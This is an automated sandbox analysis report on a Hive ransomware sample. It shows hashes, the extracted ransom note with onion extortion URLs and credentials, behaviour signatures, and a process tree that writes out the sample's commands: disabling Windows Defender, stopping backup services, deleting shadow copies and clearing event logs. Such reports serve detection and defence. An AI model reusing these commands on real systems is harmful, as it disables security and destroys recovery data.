Analysis

  • max time kernel
    121s
  • max time network
    36s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    23-12-2022 15:40

General

  • Target

    windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe

  • Size

    884KB

  • MD5

    da13022097518d123a91a3958be326da

  • SHA1

    24a71ab462594d5a159bbf176588af951aba1381

  • SHA256

    25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5

  • SHA512

    a82aa97a92cd21ee2d4b556448fd3293396eb7c01d3626ebdb6c3816277783578686830c430014b6b2fc3280bc1301df27da079937f88834c2d35641eb5fc26f

  • SSDEEP

    12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgVt:dod1HDmlDdkZ4YXPpaTTXMw

Malware Config

Extracted

Path

C:\Program Files\7-Zip\EGdu_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data or to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: jxkdVr8zZs5J Password: GHTM6Qgqyhqs4nMH53ZD To get access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not shutdown or reboot your computers, unmount external storages. - Do not try to decrypt data using third party software. It may cause irreversible damage. - Do not fool yourself. Encryption has perfect secrecy and it's impossible to decrypt without knowing the key. - Do not modify, rename or delete *.key.uj1ps files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to authorities. The negotiation process will be terminated immediately and the key will be erased. - Do not reject to purchase. Your sensitive data will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe
    "C:\Users\Admin\AppData\Local\Temp\windows_25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:560
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:272
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:1728
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:748
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:536
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:284
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:1800
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1932
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:1308
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1692
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1520
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1640
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:820
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1696
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:1700
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1512
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:544
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:916
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1048
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "UI0Detect" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1732
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1764
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1868
                    • C:\Windows\SysWOW64\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1856
                    • C:\Windows\SysWOW64\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                        PID:1376
                      • C:\Windows\SysWOW64\reg.exe
                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                        2⤵
                          PID:1576
                        • C:\Windows\SysWOW64\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:1580
                          • C:\Windows\SysWOW64\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:1504
                            • C:\Windows\SysWOW64\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                              2⤵
                                PID:1492
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1720
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:268
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1800
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:1524
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                2⤵
                                • Modifies Windows Defender Real-time Protection settings
                                PID:732
                              • C:\Windows\SysWOW64\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:1372
                                • C:\Windows\SysWOW64\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                  2⤵
                                    PID:588
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:1700
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1092
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:1268
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                          2⤵
                                            PID:1336
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                            2⤵
                                              PID:1124
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                              2⤵
                                                PID:1528
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                2⤵
                                                  PID:1564
                                                • C:\Windows\SysWOW64\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                  2⤵
                                                    PID:1460
                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                    schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                    2⤵
                                                      PID:1820
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:1724
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                        2⤵
                                                          PID:468
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                          2⤵
                                                            PID:776
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:1872
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:596
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                2⤵
                                                                  PID:680
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                  2⤵
                                                                    PID:1100
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                    2⤵
                                                                      PID:1876
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                      2⤵
                                                                        PID:1768
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                        2⤵
                                                                          PID:1864
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                          • Modifies security service
                                                                          PID:532
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                          2⤵
                                                                            PID:1672
                                                                          • C:\Windows\SysWOW64\vssadmin.exe
                                                                            vssadmin.exe delete shadows /all /quiet
                                                                            2⤵
                                                                            • Interacts with shadow copies
                                                                            PID:1728
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl system
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1308
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl security
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:820
                                                                          • C:\Windows\SysWOW64\wevtutil.exe
                                                                            wevtutil.exe cl application
                                                                            2⤵
                                                                            • Clears Windows event logs
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1596
                                                                          • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1148
                                                                          • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                            wmic.exe shadowcopy delete
                                                                            2⤵
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1624
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                            2⤵
                                                                              PID:1356
                                                                              • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                3⤵
                                                                                • Deletes Windows Defender Definitions
                                                                                PID:272
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                              2⤵
                                                                                PID:1660
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                  3⤵
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  PID:1760
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                2⤵
                                                                                  PID:1636
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                    3⤵
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    PID:804

                                                                              Network

                                                                              MITRE ATT&CK Enterprise v6

                                                                              Replay Monitor

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                                                                              Downloads

                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

                                                                                Filesize

                                                                                7KB

                                                                                MD5

                                                                                a1e8223aec63480da74552e0d2eb5cce

                                                                                SHA1

                                                                                48092d2432aadae8f826f9c6bd9e82b9a6c12c3f

                                                                                SHA256

                                                                                79ac86866284fd152681c6c2c967da508a8fb6c5774678eb735bc69d23df5a66

                                                                                SHA512

                                                                                b449161cc0269f421bc2561cabfb683e9af8e20abdb704a04bf93da065c41c062fbdd9dd5ad296987815a199380cdf3974e6f6236b0f074bcd3098852f8ec376

                                                                              • memory/804-126-0x0000000074200000-0x00000000747AB000-memory.dmp

                                                                                Filesize

                                                                                5.7MB

                                                                              • memory/804-125-0x0000000074200000-0x00000000747AB000-memory.dmp

                                                                                Filesize

                                                                                5.7MB

                                                                              • memory/1488-63-0x0000000000E10000-0x0000000001122000-memory.dmp

                                                                                Filesize

                                                                                3.1MB

                                                                              • memory/1488-54-0x0000000000E10000-0x0000000001122000-memory.dmp

                                                                                Filesize

                                                                                3.1MB

                                                                              • memory/1760-121-0x0000000074130000-0x00000000746DB000-memory.dmp

                                                                                Filesize

                                                                                5.7MB

                                                                              • memory/1760-120-0x0000000075D01000-0x0000000075D03000-memory.dmp

                                                                                Filesize

                                                                                8KB

                                                                              • memory/1760-122-0x0000000074130000-0x00000000746DB000-memory.dmp

                                                                                Filesize

                                                                                5.7MB